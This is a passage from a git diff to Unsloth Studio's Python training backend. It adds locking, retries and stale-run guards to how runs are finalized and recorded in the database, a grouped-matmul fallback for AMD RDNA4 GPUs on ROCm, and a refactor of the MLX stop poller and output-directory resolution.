+                loss_history = list(self.loss_history)
+        if claim:
+            self._finish_stopped_run(
+                run_id,
+                output_dir,
+                batch,
+                final_step,
+                final_loss,
+                duration,
+                loss_history,
+                status = status,
+                error_message = error_message,
+                clear_output_dir = clear_output_dir,
+                resume_blocked = resume_blocked,
+            )
+        with self._lock:
+            if target_proc is None or self._proc is target_proc:
+                self._proc = None  # drop only our handle, never a run that replaced it
+
+    def _finish_stopped_run(
+        self,
+        run_id: str,
+        output_dir: Optional[str],
+        batch: list,
+        final_step: Optional[int],
+        final_loss: Optional[float],
+        duration: Optional[float],
+        loss_history: list,
+        status: str = "stopped",
+        error_message: Optional[str] = None,
+        clear_output_dir: bool = False,
+        resume_blocked: bool = False,
+    ) -> None:
+        """Record a force-stopped run finished by its captured id, from state snapshotted
+        under the lock. insert_metrics_batch upserts and finish_run is an idempotent UPDATE,
+        so a concurrent pump finalize of the same run is harmless and a different current run
+        is never touched. The watchdog is the sole finalizer once _proc is dropped, so a
+        transient DB error (e.g. a SQLite lock) is retried a few times; on final failure the
+        finalize is unclaimed (only if the run is still current) so the row is not left
+        claimed-but-unfinalized."""
+        for attempt in range(_DB_FINALIZE_RETRIES):
+            try:
+                from storage.studio_db import finish_run, insert_metrics_batch
+                from utils.downsample import downsample
+
+                if batch:
+                    insert_metrics_batch(run_id, batch)
+                sparkline = downsample(loss_history, 50)
+                finish_run(
+                    id = run_id,
+                    status = status,
+                    ended_at = datetime.now(timezone.utc).isoformat(),
+                    final_step = final_step,
+                    final_loss = final_loss,
+                    duration_seconds = duration,
+                    loss_sparkline = _json.dumps(sparkline),
+                    output_dir = output_dir,
+                    error_message = error_message,
+                    clear_output_dir = clear_output_dir,
+                    resume_blocked = resume_blocked,
+                )
+                return
+            except Exception:
+                if attempt + 1 < _DB_FINALIZE_RETRIES:
+                    time.sleep(_DB_FINALIZE_RETRY_S)
+                    continue
+                logger.warning(
+                    "Failed to finalize stopped run %s in DB after %d attempts",
+                    run_id,
+                    _DB_FINALIZE_RETRIES,
+                    exc_info = True,
+                )
+                with self._lock:
+                    # Only if still current; a new run's finalize state is never touched.
+                    if self.current_job_id == run_id:
+                        self._run_finalized = False
+
+    def force_terminate(self, target_proc: "Optional[mp.Process]" = None) -> None:
+        """Force-kill the training subprocess so state can be reset immediately. With
+        ``target_proc``, terminate only that handle and no-op if a new run has replaced
+        it, so the watchdog can never kill a fresh worker."""
+        with self._lock:
+            proc = self._proc
+            if target_proc is not None and proc is not target_proc:
+                return  # superseded by a new run; do not touch the new worker
+            if proc is not None and proc.is_alive():
+                logger.info("Force-terminating training subprocess (pid=%s)", proc.pid)
+                proc.terminate()
             cancelled = self._cancel_requested
-            output_dir = self._output_dir
+            output_dir = self._cancel_cleanup_output_dir or self._output_dir
 
         if proc is not None:
             proc.join(timeout = 5.0)
@@ -595,52 +1409,93 @@ class TrainingBackend:
         self._last_full_config = config
         logger.warning("Respawning training worker with HF_HUB_DISABLE_XET=1 after Xet stall")
 
-        from .worker import run_training_process
+        cache_env = getattr(self, "_last_hf_cache_env", None)
+        if not cache_env:
+            from utils.hf_cache_settings import get_hf_cache_paths
+            cache_env = get_hf_cache_paths().child_env({})
+        from utils.hf_cache_settings import child_environment_for_spawn
 
-        try:
-            with native_path_secret_removed_for_child_start():
-                event_queue = _CTX.Queue()
-                stop_queue = _CTX.Queue()
-                new_proc = _CTX.Process(
-                    target = run_without_native_path_secret,
-                    args = (run_training_process,),
-                    kwargs = {
-                        "event_queue": event_queue,
-                        "stop_queue": stop_queue,
-                        "config": config,
-                    },
-                    daemon = True,
-                )
-                new_proc.start()
-                from utils.process_lifetime import adopt_pid
+        # This run is active, so an install request 409s rather than proceeds: a reservation seen here
+        # is transient (an aborting install or short lazy repair). Wait it out instead of stranding the
+        # stalled run; only a wedged reservation fails the respawn.
+        from utils.transformers_version import sidecar_swap_in_progress
 
-                adopt_pid(new_proc.pid)  # bind to parent lifetime (Windows job / sweep)
-        except Exception:
-            logger.error("Failed to respawn training subprocess", exc_info = True)
-            with self._lock:
-                # No replacement pump will run; clear the flag so a later run can't
-                # inherit a stale _pump_running=True and spawn a duplicate.
-                self._pump_running = False
-                self._progress.is_training = False
-                self._progress.error = "Failed to recover stalled model download"
-            self._ensure_db_run_created()
-            self._finalize_run_in_db(
-                status = "error",
-                error_message = "Failed to recover stalled model download",
+        self._spawn_in_progress = True
+        _swap_wait_deadline = time.time() + 120
+        while sidecar_swap_in_progress() and time.time() < _swap_wait_deadline:
+            time.sleep(1)
+        if sidecar_swap_in_progress():
+            # Raising here would land in the pump's broad finalization catch and
+            # strand the run in a training state with no worker: finalize it as a
+            # failure explicitly instead.
+            self._spawn_in_progress = False
+            msg = (
+                "A transformers installation is replacing the latest sidecar; "
+                "cannot respawn the training worker."
             )
+            logger.error(msg)
+            with self._lock:
+                self._progress.is_training = False
+                self._progress.error = msg
+            self._ensure_db_run_created()
+            self._finalize_run_in_db(status = "error", error_message = msg)
             return
 
-        logger.info("Training subprocess respawned with Xet disabled (pid=%s)", new_proc.pid)
-        new_pump = threading.Thread(target = self._pump_loop, daemon = True)
-        with self._lock:
-            self._in_model_load = False
-            self._event_queue = event_queue
-            self._stop_queue = stop_queue
-            self._proc = new_proc
-            self._pump_thread = new_pump
-            # Start under the lock so _ensure_pump_alive can never observe the
-            # new pump as a not-yet-started (dead) thread and spawn a duplicate.
-            new_pump.start()
+        # Reset the handshake flag on any unexpected failure past this point, so a
+        # crashed respawn cannot wedge is_training_active until restart.
+        try:
+            try:
+                with (
+                    child_environment_for_spawn(cache_env),
+                    native_path_secret_removed_for_child_start(),
+                ):
+                    event_queue = _CTX.Queue()
+                    stop_queue = _CTX.Queue()
+                    new_proc = _CTX.Process(
+                        target = run_without_native_path_secret,
+                        args = ("core.training.worker", "run_training_process", cache_env),
+                        kwargs = {
+                            "event_queue": event_queue,
+                            "stop_queue": stop_queue,
+                            "config": config,
+                        },
+                        daemon = True,
+                    )
+                    new_proc.start()
+                    from utils.process_lifetime import adopt_pid
+
+                    adopt_pid(new_proc.pid)  # bind to parent lifetime (Windows job / sweep)
+            except Exception:
+                logger.error("Failed to respawn training subprocess", exc_info = True)
+                self._spawn_in_progress = False
+                with self._lock:
+                    # No replacement pump will run; clear the flag so a later run can't
+                    # inherit a stale _pump_running=True and spawn a duplicate.
+                    self._pump_running = False
+                    self._progress.is_training = False
+                    self._progress.error = "Failed to recover stalled model download"
+                self._ensure_db_run_created()
+                self._finalize_run_in_db(
+                    status = "error",
+                    error_message = "Failed to recover stalled model download",
+                )
+                return
+
+            logger.info("Training subprocess respawned with Xet disabled (pid=%s)", new_proc.pid)
+            new_pump = threading.Thread(target = self._pump_loop, daemon = True)
+            with self._lock:
+                self._in_model_load = False
+                self._event_queue = event_queue
+                self._stop_queue = stop_queue
+                self._proc = new_proc
+                self._spawn_in_progress = False
+                self._pump_thread = new_pump
+                # Start under the lock so _ensure_pump_alive can never observe the
+                # new pump as a not-yet-started (dead) thread and spawn a duplicate.
+                new_pump.start()
+        except Exception:
+            self._spawn_in_progress = False
+            raise
 
     def _ensure_pump_alive(self) -> bool:
         """Restart the event pump if it crashed, even after the worker exited.
@@ -673,6 +1528,10 @@ class TrainingBackend:
 
     def is_training_active(self) -> bool:
         """Check if training is currently active."""
+        # A spawn past its sidecar-swap recheck counts as active even before _proc is recorded,
+        # so an install cannot slip in mid-spawn.
+        if getattr(self, "_spawn_in_progress", False):
+            return True
         # Self-heal a crashed pump first: a dead pump must never leave the worker
         # training invisibly behind a frozen UI. Cheap enough for per-second polls.
         self._ensure_pump_alive()
@@ -848,17 +1707,60 @@ class TrainingBackend:
                             )
 
                 self._ensure_db_run_created()
-                self._finalize_run_in_db(
-                    status = "stopped" if self._should_stop else "error",
-                    error_message = None
-                    if self._should_stop
-                    else "Training process terminated unexpectedly",
-                )
+                terminal_payload = self._terminal_finalize_kwargs()
+                with self._lock:
+                    if terminal_payload["clear_output_dir"]:
+                        self._output_dir = self._progress.output_dir = None
+                    if terminal_payload.get("error_message"):
+                        self._progress.error = terminal_payload["error_message"]
+                        self._progress.status_message = terminal_payload["error_message"]
+                self._finalize_run_in_db(**terminal_payload)
             except Exception:
                 logger.exception("Training event pump: finalization after worker exit failed")
             self._pump_running = False
             return
 
+    def _has_current_resume_checkpoint(self, output_dir, step) -> bool:
+        # A valid checkpoint at the current step means the stop-and-save landed on
+        # disk even if the worker died before confirming it.
+        if not output_dir or not isinstance(step, int) or step <= 0:
+            return False
+        from core.training.resume import get_resume_checkpoint_path
+        return get_resume_checkpoint_path(output_dir, expected_step = step) is not None
+
+    def _terminal_finalize_kwargs(self) -> dict:
+        with self._lock:
+            job_id = self.current_job_id
+            payload = self._terminal_finalize_payload
+            if payload and payload.get("expected_job_id") == job_id:
+                return dict(payload)
+            cancel, stopped = self._cancel_requested, self._should_stop
+            output_dir = None if cancel else self._output_dir
+            step = self._progress.step
+            existing_error = self._progress.error
+        status, error, blocked = (
+            ("stopped", None, cancel)
+            if stopped
+            else (
+                "error",
+                existing_error or "Training process terminated unexpectedly",
+                False,
+            )
+        )
+        # Block only when no valid current-step checkpoint actually landed.
+        if stopped and not cancel and not self._has_current_resume_checkpoint(output_dir, step):
+            status = "error"
+            error = "Stop and Save ended before a valid current-step checkpoint was written."
+            blocked = True
+        return {
+            "status": status,
+            "error_message": error,
+            "output_dir": output_dir,
+            "clear_output_dir": cancel,
+            "resume_blocked": blocked,
+            "expected_job_id": job_id,
+        }
+
     def _handle_event(self, event: dict) -> None:
         """Apply a subprocess event to local state.
 
@@ -1017,28 +1919,54 @@ class TrainingBackend:
             elif etype == "eval_configured":
                 self.eval_enabled = True
 
+            elif etype == "output_dir":
+                event_output_dir = event.get("output_dir")
+                if self._cancel_requested:
+                    self._cancel_cleanup_output_dir = event_output_dir
+                    self._output_dir = self._progress.output_dir = None
+                else:
+                    self._output_dir = event_output_dir
+                    db_action = "persist_output_dir"
+
             elif etype == "status":
                 self._progress.status_message = event.get("message", "")
                 self._progress.is_training = True
 
             elif etype == "complete":
-                self._progress.is_training = False
-                self._progress.is_completed = True
-                self._output_dir = event.get("output_dir")
                 msg = event.get("status_message", "Training completed")
+                stopped = self._should_stop or msg.strip().lower() in {
+                    "training cancelled",
+                    "training stopped",
+                }
+                # Save is done by now; let the stop watchdog start its grace timer.
+                self._complete_seen.set()
+                self._progress.is_training = False
+                self._progress.is_completed = not stopped
+                event_output_dir = event.get("output_dir")
+                if self._cancel_requested:
+                    self._cancel_cleanup_output_dir = event_output_dir
+                    self._output_dir = None
+                else:
+                    self._output_dir = event_output_dir
+                self._progress.output_dir = self._output_dir
                 self._progress.status_message = msg
                 if not self._db_run_created and self.current_job_id and self._db_config:
                     db_action = "create_and_finalize"
                 else:
                     db_action = "finalize"
                 db_action_kwargs = {
-                    "status": "stopped" if self._should_stop else "completed",
+                    "status": "stopped" if stopped else "completed",
                     "output_dir": self._output_dir,
+                    "clear_output_dir": self._cancel_requested,
+                    "expected_job_id": self.current_job_id,
                 }
+                self._terminal_finalize_payload = dict(db_action_kwargs)
 
             elif etype == "error":
                 self._progress.is_training = False
                 self._progress.error = event.get("error", "Unknown error")
+                if self._cancel_requested:
+                    self._output_dir = self._progress.output_dir = None
                 logger.error("Training error: %s", event.get("error"))
                 stack = event.get("stack", "")
                 if stack:
@@ -1047,29 +1975,36 @@ class TrainingBackend:
                     db_action = "create_and_finalize"
                 else:
                     db_action = "finalize"
+                stop_save_failed = (
+                    self._should_stop
+                    and not self._cancel_requested
+                    and not self._has_current_resume_checkpoint(
+                        self._output_dir, self._progress.step
+                    )
+                )
                 db_action_kwargs = {
-                    "status": "stopped" if self._should_stop else "error",
+                    "status": "stopped"
+                    if self._should_stop
+                    and not stop_save_failed
+                    and not event.get("keep_error_status")
+                    else "error",
                     "error_message": event.get("error", "Unknown error"),
+                    "output_dir": self._output_dir,
+                    "clear_output_dir": self._cancel_requested,
+                    "resume_blocked": stop_save_failed or bool(event.get("resume_blocked")),
+                    "expected_job_id": self.current_job_id,
                 }
+                self._terminal_finalize_payload = dict(db_action_kwargs)
 
         # --- DB I/O outside the lock ---
         if db_action == "create_run":
-            try:
-                from storage.studio_db import create_run
-
-                create_run(
-                    id = db_action_kwargs["job_id"],
-                    model_name = db_action_kwargs["model_name"],
-                    dataset_name = db_action_kwargs["dataset_name"],
-                    config_json = db_action_kwargs["config_json"],
-                    started_at = db_action_kwargs["started_at"],
-                    total_steps = db_action_kwargs["total_steps"],
-                )
-                self._db_run_created = True
+            self._ensure_db_run_created()
+            if self._db_run_created:
                 if db_action_kwargs["total_steps"]:
                     self._db_total_steps_set = True
-            except Exception:
-                logger.warning("Failed to create DB run record", exc_info = True)
+                self._persist_output_dir()
+        elif db_action == "persist_output_dir":
+            self._persist_output_dir()
         elif db_action == "create_and_finalize":
             self._ensure_db_run_created()
             self._finalize_run_in_db(**db_action_kwargs)
@@ -1085,91 +2020,204 @@ class TrainingBackend:
         elif db_action == "finalize":
             self._finalize_run_in_db(**db_action_kwargs)
 
-    def _ensure_db_run_created(self) -> None:
-        """Create the DB row if it doesn't exist yet. Called outside the lock."""
-        if self._db_run_created or not self.current_job_id or not self._db_config:
+        if etype == "progress":
+            self._log_training_progress()
+
+    def _persist_output_dir(self) -> None:
+        with self._lock:
+            if (
+                not self._output_dir
+                or not self.current_job_id
+                or not self._db_run_created
+                or self._cancel_requested
+            ):
+                return
+            run_id, output_dir = self.current_job_id, self._output_dir
+        try:
+            from storage.studio_db import update_run_output_dir
+            update_run_output_dir(run_id, output_dir)
+        except Exception:
+            logger.warning("Failed to persist output_dir", exc_info = True)
+
+    def _log_training_progress(self) -> None:
+        """One throttled training-status line to the server log (the per-step stream
+        still goes to the UI via SSE): first step, then at most every 30s, plus the
+        final step; resyncs on a new run. Runs on the pump thread."""
+        p = self._progress
+        step = int(p.step or 0)
+        if step <= 0:
             return
+        total = int(p.total_steps or 0)
+        is_final = total > 0 and step >= total
+        prev = self._last_progress_log_step
+        if step == prev:
+            return
+        now = time.monotonic()
+        if prev >= 0 and step > prev and not is_final and (now - self._last_progress_log_ts) < 30.0:
+            return
+        self._last_progress_log_ts = now
+        self._last_progress_log_step = step
+        logger.info(
+            "training_progress",
+            step = step,
+            total_steps = total or None,
+            percent = int(step * 100 / total) if total > 0 else None,
+            loss = round(p.loss, 4) if p.loss is not None else None,
+            epoch = round(p.epoch, 2) if p.epoch is not None else None,
+            eta_s = int(p.eta_seconds) if p.eta_seconds else None,
+        )
+
+    def _ensure_db_run_created(self) -> None:
+        """Create the DB row if it doesn't exist yet. An in-progress flag lets only one
+        caller create at a time, and ``_db_run_created`` is published only after
+        ``create_run`` commits, so a concurrent finalize never runs ``finish_run`` against a
+        not-yet-inserted row (a zero-row UPDATE that would leave the run stuck as running)."""
+        self._run_intent_lock.acquire()
+        with self._lock:
+            if (
+                self._db_run_created
+                or self._db_create_in_progress
+                or not self.current_job_id
+                or not self._db_config
+            ):
+                self._run_intent_lock.release()
+                return
+            self._db_create_in_progress = True  # only one caller creates
+            job_id = self.current_job_id
+            db_config = self._db_config
+            started_at = self._db_started_at or datetime.now(timezone.utc).isoformat()
+            total_steps = self._progress.total_steps or None
+        created = False
         try:
             from storage.studio_db import create_run
 
             dataset_name = (
-                self._db_config.get("hf_dataset")
-                or next(iter(self._db_config.get("local_datasets") or []), None)
-                or _s3_dataset_name(self._db_config.get("s3_dataset"))
+                db_config.get("hf_dataset")
+                or next(iter(db_config.get("local_datasets") or []), None)
+                or _s3_dataset_name(db_config.get("s3_dataset"))
                 or "unknown"
             )
+            with self._lock:
+                if self.current_job_id != job_id:
+                    return
+                output_dir = self._output_dir
+                cancel_requested = self._cancel_requested
+                resumed_from_run_id = self._resume_source_run_id
             create_run(
-                id = self.current_job_id,
-                model_name = self._db_config["model_name"],
+                id = job_id,
+                model_name = db_config["model_name"],
                 dataset_name = dataset_name,
-                config_json = _json.dumps(self._db_config),
-                started_at = self._db_started_at or datetime.now(timezone.utc).isoformat(),
-                total_steps = self._progress.total_steps or None,
+                config_json = _json.dumps(db_config),
+                started_at = started_at,
+                total_steps = total_steps,
+                output_dir = output_dir,
+                cancel_requested = cancel_requested,
+                resumed_from_run_id = resumed_from_run_id,
             )
-            self._db_run_created = True
+            created = True
         except Exception:
             logger.warning("Failed to create DB run record for early failure", exc_info = True)
+        finally:
+            with self._lock:
+                # Publish the flags only if this is still the current run. A killed worker
+                # lets a new /start proceed mid-create, and these flags are backend-wide, so
+                # a stale create for the captured job must not satisfy the new run's DB state
+                # (the row was still created by id; the new run owns/creates its own row).
+                if self.current_job_id == job_id:
+                    if created:
+                        self._db_run_created = True  # publish only after the insert commits
+                    self._db_create_in_progress = False
+            self._run_intent_lock.release()
 
     def _finalize_run_in_db(
         self,
         status: str,
         error_message: Optional[str] = None,
         output_dir: Optional[str] = None,
+        clear_output_dir: bool = False,
+        resume_blocked: bool = False,
+        expected_job_id: Optional[str] = None,
     ) -> None:
-        """Flush remaining metrics and mark a run as finished in the DB."""
-        if not self.current_job_id or not self._db_run_created or self._run_finalized:
-            return
-        self._flush_metrics_to_db()
-        try:
-            from storage.studio_db import finish_run
-            from utils.downsample import downsample
-
-            sparkline = downsample(self.loss_history, 50)
-            finish_run(
-                id = self.current_job_id,
-                status = status,
-                ended_at = datetime.now(timezone.utc).isoformat(),
-                final_step = self._progress.step,
-                final_loss = self._progress.loss
-                if (self._progress.loss is not None and math.isfinite(self._progress.loss))
-                else None,
-                duration_seconds = self._progress.elapsed_seconds,
-                loss_sparkline = _json.dumps(sparkline),
-                output_dir = output_dir,
-                error_message = error_message,
-            )
+        """Flush remaining metrics and mark a run finished in the DB. Claims the finalize
+        under the lock so the watchdog and pump can't double-finalize, and no-ops when
+        ``expected_job_id`` no longer matches (a new run took over). The run id and final
+        progress are snapshotted under the lock and threaded through the flush/finish calls,
+        so a new run racing between this claim and the DB writes can't be flushed or marked
+        stopped under the old run's finalize."""
+        with self._lock:
+            if expected_job_id is not None and self.current_job_id != expected_job_id:
+                return
+            if not self.current_job_id or not self._db_run_created or self._run_finalized:
+                return
             self._run_finalized = True
-        except Exception:
-            logger.warning("Failed to finalize run in DB (status=%s)", status, exc_info = True)
+            run_id = self.current_job_id
+            final_step = self._progress.step
+            final_loss = self._progress.loss
+            if final_loss is not None and not math.isfinite(final_loss):
+                final_loss = None
+            duration = self._progress.elapsed_seconds
+            loss_history = list(self.loss_history)
+        self._flush_metrics_to_db(run_id = run_id)
+        for attempt in range(_DB_FINALIZE_RETRIES):
+            try:
+                from storage.studio_db import finish_run
+                from utils.downsample import downsample
 
-    def _flush_metrics_to_db(self) -> None:
-        """Flush buffered metrics to the database and update live progress."""
-        if not self._metric_buffer or not self.current_job_id or not self._db_run_created:
-            return
-        # Cap buffer to bound memory growth.
-        if len(self._metric_buffer) > 500:
-            logger.warning(
-                "Metric buffer exceeded 500 entries (%d) — trimming oldest",
-                len(self._metric_buffer),
-            )
-            self._metric_buffer = self._metric_buffer[-500:]
-        # Snapshot before insert so metrics arriving during the write survive.
-        batch = list(self._metric_buffer)
+                finish_run(
+                    id = run_id,
+                    status = status,
+                    ended_at = datetime.now(timezone.utc).isoformat(),
+                    final_step = final_step,
+                    final_loss = final_loss,
+                    duration_seconds = duration,
+                    loss_sparkline = _json.dumps(downsample(loss_history, 50)),
+                    output_dir = output_dir,
+                    error_message = error_message,
+                    clear_output_dir = clear_output_dir,
+                    resume_blocked = resume_blocked,
+                )
+                return
+            except Exception:
+                if attempt + 1 < _DB_FINALIZE_RETRIES:
+                    time.sleep(_DB_FINALIZE_RETRY_S)
+                    continue
+                with self._lock:
+                    if self.current_job_id == run_id:
+                        self._run_finalized = False
+                logger.warning("Failed to finalize run in DB (status=%s)", status, exc_info = True)
+
+    def _flush_metrics_to_db(self, run_id: Optional[str] = None) -> None:
+        """Flush buffered metrics to the DB and update live progress. The target run id,
+        metric batch, and progress snapshot are all taken under the lock, so a concurrent
+        flush can't double-remove metrics and a racing new run can't redirect the write to
+        a different job. A finalizer passes ``run_id`` to pin the target to its captured run."""
+        with self._lock:
+            target = run_id if run_id is not None else self.current_job_id
+            if not self._metric_buffer or not target or not self._db_run_created:
+                return
+            # Cap buffer to bound memory growth.
+            if len(self._metric_buffer) > 500:
+                logger.warning(
+                    "Metric buffer exceeded 500 entries (%d) — trimming oldest",
+                    len(self._metric_buffer),
+                )
+                del self._metric_buffer[:-500]
+            # Claim the batch under the lock so a concurrent flush can't re-remove it.
+            batch = list(self._metric_buffer)
+            del self._metric_buffer[: len(batch)]
+            step = self._progress.step
+            loss = self._progress.loss
+            if loss is not None and not math.isfinite(loss):
+                loss = None
+            duration = self._progress.elapsed_seconds
         try:
             from storage.studio_db import insert_metrics_batch, update_run_progress
-
-            insert_metrics_batch(self.current_job_id, batch)
-            del self._metric_buffer[: len(batch)]
-            update_run_progress(
-                id = self.current_job_id,
-                step = self._progress.step,
-                loss = self._progress.loss
-                if (self._progress.loss is not None and math.isfinite(self._progress.loss))
-                else None,
-                duration_seconds = self._progress.elapsed_seconds,
-            )
+            insert_metrics_batch(target, batch)
+            update_run_progress(id = target, step = step, loss = loss, duration_seconds = duration)
         except Exception:
-            # Leave buffer intact for retry on next flush
+            # Re-queue the claimed batch at the front so it retries on the next flush.
+            with self._lock:
+                self._metric_buffer[:0] = batch
             logger.warning("Failed to flush metrics to DB", exc_info = True)
 
     @staticmethod
diff --git a/studio/backend/core/training/worker.py b/studio/backend/core/training/worker.py
index 17dc1299ca..5ded18ea45 100644
--- a/studio/backend/core/training/worker.py
+++ b/studio/backend/core/training/worker.py
@@ -90,6 +90,79 @@ _FAST_PATH_HOOKS_SKIP_ENV = "UNSLOTH_STUDIO_SKIP_FAST_PATH_HOOKS"
 # run_training_process() and isn't GC'd mid-run.
 _WINDOWS_ROCM_GROUPED_MM_LIB = None
 
+
+def _install_grouped_mm_cpu_fallback(torch_mod, logger, label):
+    """Register a Python mm/bmm fallback for torch._grouped_mm and return the Library.
+
+    RDNA4 (gfx1200/gfx1201) ships a null HIP _grouped_mm kernel on ROCm <= 7.12
+    (fixed in 7.13; ROCm/TheRock #5284). JitDecomp dispatches _grouped_mm to the
+    null kernel and crashes; overriding the CUDA dispatch key bypasses it. Shared
+    by the Windows and Linux ROCm guards. Keep the returned Library referenced so
+    the registration outlives the caller.
+    """
+    import warnings as _warnings
+
+    _gm_lib = torch_mod.library.Library("aten", "IMPL")
+
+    def _grouped_mm_safe_impl(
+        self,
+        mat2,
+        offs = None,
+        bias = None,
+        out_dtype = None,
+    ):
+        """Python mm/bmm fallback for _grouped_mm on gfx120X (null HIP kernel, ROCm <= 7.12)."""
+        _t = torch_mod
+        if offs is None:
+            # No offsets: 2-D -> mm, 3-D batched -> bmm (unconditional mm broke 3-D MoE).
+            if self.dim() == 3 and mat2.dim() == 3:
+                result = _t.bmm(self.contiguous(), mat2.contiguous())
+            elif self.dim() == 3 and mat2.dim() == 2:
+                result = _t.matmul(self.contiguous(), mat2.contiguous())
+            elif self.dim() == 2 and mat2.dim() == 3:
+                result = _t.matmul(self.contiguous(), mat2.contiguous())
+            else:
+                result = _t.mm(self.contiguous(), mat2.contiguous())
+        else:
+            # Grouped: offs[i] is the exclusive end-row of group i.
+            offs_list = offs.tolist()
+            pieces = []
+            prev = 0
+            for idx, end in enumerate(offs_list):
+                end = int(end)
+                a_part = self[prev:end].contiguous()
+                b_part = mat2[idx].contiguous() if mat2.dim() == 3 else mat2.contiguous()
+                pieces.append(_t.mm(a_part, b_part))
+                prev = end
+            # Include trailing rows not covered by offs.
+            if prev < self.shape[0]:
+                a_tail = self[prev:].contiguous()
+                b_tail = mat2[-1].contiguous() if mat2.dim() == 3 else mat2.contiguous()
+                pieces.append(_t.mm(a_tail, b_tail))
+            result = (
+                _t.cat(pieces, dim = 0)
+                if pieces
+                else _t.zeros(0, mat2.shape[-1], device = self.device, dtype = self.dtype)
+            )
+        if bias is not None:
+            result = result + bias
+        if out_dtype is not None:
+            result = result.to(out_dtype)
+        elif result.dtype != self.dtype:
+            result = result.to(self.dtype)
+        return result
+
+    with _warnings.catch_warnings():
+        _warnings.simplefilter("ignore")
+        _gm_lib.impl("_grouped_mm", _grouped_mm_safe_impl, "CUDA")
+    logger.info(
+        "%s: patched _grouped_mm CUDA dispatch (null HIP kernel on gfx120X, "
+        "ROCm <= 7.12 -- bypassed with Python mm fallback)",
+        label,
+    )
+    return _gm_lib
+
+
 # Subprocesses don't inherit os.add_dll_directory registrations. Replicate
 # main.py's Windows ROCm DLL setup so the first `import torch` finds
 # amdhip64.dll. Handles retained at module scope so they aren't GC'd.
@@ -702,8 +775,9 @@ def _rocm_classify_unified_memory(props: Any) -> tuple[str, bool]:
     3. Device-name substring match (last resort when all arch attrs absent;
        AMD SDK / Radeon wheels may not populate them):
          - gfx1150 Strix Point: ``Radeon 890M``, ``Radeon 880M``
-         - gfx1151 Strix Halo:  ``Radeon 8060S`` (Ryzen AI MAX+ 395),
-                                ``Radeon 8050S`` (cut-down SKU)
+         - gfx1151 Strix Halo / Gorgon Halo:  ``Radeon 8065S`` (Ryzen AI
+                                Max+ 495), ``Radeon 8060S`` (Ryzen AI MAX+
+                                395), ``Radeon 8050S`` (cut-down SKU)
     """
     gcn_arch = ""
     for _attr in ("gcnArchName", "gcn_arch_name", "arch_name", "gfx_arch_name"):
@@ -728,7 +802,11 @@ def _rocm_classify_unified_memory(props: Any) -> tuple[str, bool]:
     # Arch attrs absent — fall back to device-name matching.
     dev_lower = (getattr(props, "name", "") or "").lower()
     is_unified = (
-        "890m" in dev_lower or "880m" in dev_lower or "8060s" in dev_lower or "8050s" in dev_lower
+        "890m" in dev_lower
+        or "880m" in dev_lower
+        or "8065s" in dev_lower
+        or "8060s" in dev_lower
+        or "8050s" in dev_lower
     )
     return gcn_arch, is_unified
 
@@ -1100,7 +1178,7 @@ _MLX_VLM_RESIZED_IMAGE_LAYOUT_CACHE = {}
 
 
 def _mlx_vlm_resized_image_layout(processor = None) -> str | None:
-    """Return the numpy image layout expected after Studio-side VLM resizing."""
+    """Return the numpy image layout expected after Unsloth-side VLM resizing."""
     image_processor = getattr(processor, "image_processor", None)
     if image_processor is None:
         return None
@@ -1257,7 +1335,7 @@ _MLX_STUDIO_LR_SCHEDULERS = {"linear", "cosine", "constant"}
 
 
 # Fallback alias map mirroring unsloth_zoo._normalize_mlx_optimizer_name, used
-# only when mlx (Apple Silicon) is not importable so Studio config validation
+# only when mlx (Apple Silicon) is not importable so Unsloth config validation
 # still works on non-MLX hosts. The zoo function stays the source of truth.
 _MLX_STUDIO_ADAMW_ALIASES = frozenset(
     (
@@ -1309,14 +1387,18 @@ def _normalize_mlx_studio_scheduler(value):
 
 
 def _resolve_mlx_local_dataset_files(file_paths: list) -> list[str]:
-    """Resolve Studio local dataset uploads without importing the GPU trainer."""
+    """Resolve CLI paths and Unsloth local dataset uploads without importing the GPU trainer."""
     from utils.paths import resolve_dataset_path
 
     all_files: list[str] = []
     for dataset_file in file_paths or []:
-        file_path = (
-            dataset_file if os.path.isabs(dataset_file) else str(resolve_dataset_path(dataset_file))
-        )
+        dataset_path = Path(os.path.expanduser(str(dataset_file)))
+        if dataset_path.is_absolute():
+            file_path = str(dataset_path)
+        elif dataset_path.exists():
+            file_path = str(dataset_path.resolve())
+        else:
+            file_path = str(resolve_dataset_path(str(dataset_file)))
         file_path_obj = Path(file_path)
 
         if file_path_obj.is_dir():
@@ -1355,6 +1437,58 @@ def _mlx_local_dataset_loader_for_files(files: list[str]) -> str:
     raise ValueError(f"Unsupported dataset format: {files[0]}")
 
 
+_MLX_WORKER_COMPLETE = "_mlx_worker_complete"
+
+
+def _start_mlx_stop_poller(stop_queue):
+    import queue as _queue
+    import threading
+
+    stop_save = [True]
+    stop_requested = [False]
+    trainer_ref = [None]
+
+    def is_stop_requested():
+        return stop_requested[0]
+
+    def poll_stop():
+        while True:
+            try:
+                msg = stop_queue.get(timeout = 0.25)
+                if msg and msg.get("type") == _MLX_WORKER_COMPLETE:
+                    return
+                if msg and msg.get("type") == "stop":
+                    stop_save[0] = msg.get("save", True)
+                    stop_requested[0] = True
+                    trainer = trainer_ref[0]
+                    if trainer is not None:
+                        trainer.stop_requested = True
+                    return
+            except _queue.Empty:
+                continue
+            except (EOFError, OSError):
+                return
+
+    stop_thread = threading.Thread(target = poll_stop, daemon = True)
+    stop_thread.start()
+    return stop_save, stop_requested, trainer_ref, is_stop_requested, stop_thread
+
+
+def _resolve_mlx_output_dir(config, model_name):
+    from utils.paths import resolve_output_dir, default_run_dir_name
+
+    output_dir = config.get("output_dir", "")
+    if not output_dir:
+        output_dir = f"{default_run_dir_name(model_name)}_{int(time.time())}"
+        return str(resolve_output_dir(output_dir))
+    if config.get("allow_external_output_dir"):
+        output_path = Path(output_dir).expanduser()
+        if not output_path.is_absolute():
+            output_path = Path.cwd() / output_path
+        return str(output_path.resolve())
+    return str(resolve_output_dir(output_dir))
+
+
 def _run_mlx_training(event_queue, stop_queue, config):
     """Self-contained MLX training path for Apple Silicon.
 
@@ -1363,8 +1497,6 @@ def _run_mlx_training(event_queue, stop_queue, config):
     """
     import time
     import math
-    import threading
-    import queue as _queue
     from pathlib import Path
 
     def _send(event_type, **kwargs):
@@ -1374,31 +1506,9 @@ def _run_mlx_training(event_queue, stop_queue, config):
                 kwargs["message"] = sm
         event_queue.put({"type": event_type, "ts": time.time(), **kwargs})
 
-    _stop_save = [True]
-    _stop_requested = [False]
-    _trainer_ref = [None]
-
-    def _is_stop_requested():
-        return _stop_requested[0]
-
-    def _poll_stop():
-        while True:
-            try:
-                msg = stop_queue.get(timeout = 1.0)
-                if msg and msg.get("type") == "stop":
